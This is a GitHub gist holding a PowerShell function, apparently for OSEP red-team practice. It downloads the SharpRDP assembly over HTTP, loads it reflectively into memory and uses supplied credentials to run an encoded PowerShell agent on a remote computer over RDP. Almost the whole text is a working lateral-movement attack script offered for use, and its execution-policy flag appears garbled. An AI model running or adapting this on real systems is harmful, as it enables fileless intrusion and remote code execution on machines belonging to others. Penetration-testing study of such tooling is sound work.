Skip to content

Instantly share code, notes, and snippets.

@tahadraidia
Created November 30, 2021 14:44
Show Gist options
  • Save tahadraidia/aa3ad6fdccd3b785b5788af641edbbe9 to your computer and use it in GitHub Desktop.
Save tahadraidia/aa3ad6fdccd3b785b5788af641edbbe9 to your computer and use it in GitHub Desktop.
The following script is an the adaptation of the initial script: https://tahadraidia.com/posts/make-sharprdp-an-assembly-loadable/ #OSEP #CSHARP #POWERSHELL
function Invoke-PowershellAgent {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)][string]$computer,
[Parameter(Mandatory=$true)][string]$username,
[Parameter(Mandatory=$true)][string]$password
)
$download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT"
$asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content
$Bytes = [byte[]]$asm
Write-Host "[+] Got" $Bytes.Length "bytes";
Write-Host "[*] Attempting to load Assembly..."
try{
[System.Reflection.Assembly]::Load($Bytes)
Write-Host "[+] Loaded Assembly!";
}
catch{
Write-Warning "[!] Error: " $($_.Exception.Message)
}
try{
[SharpRDP.Program]::Main(("computername=$computer", "command=$download_exec_agent", "username=$username", "password=$password"))
Write-Host "[+] Successfully Triggered"
}
catch{
Write-Warning "[!] Error: " $($_.Exception.Message)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment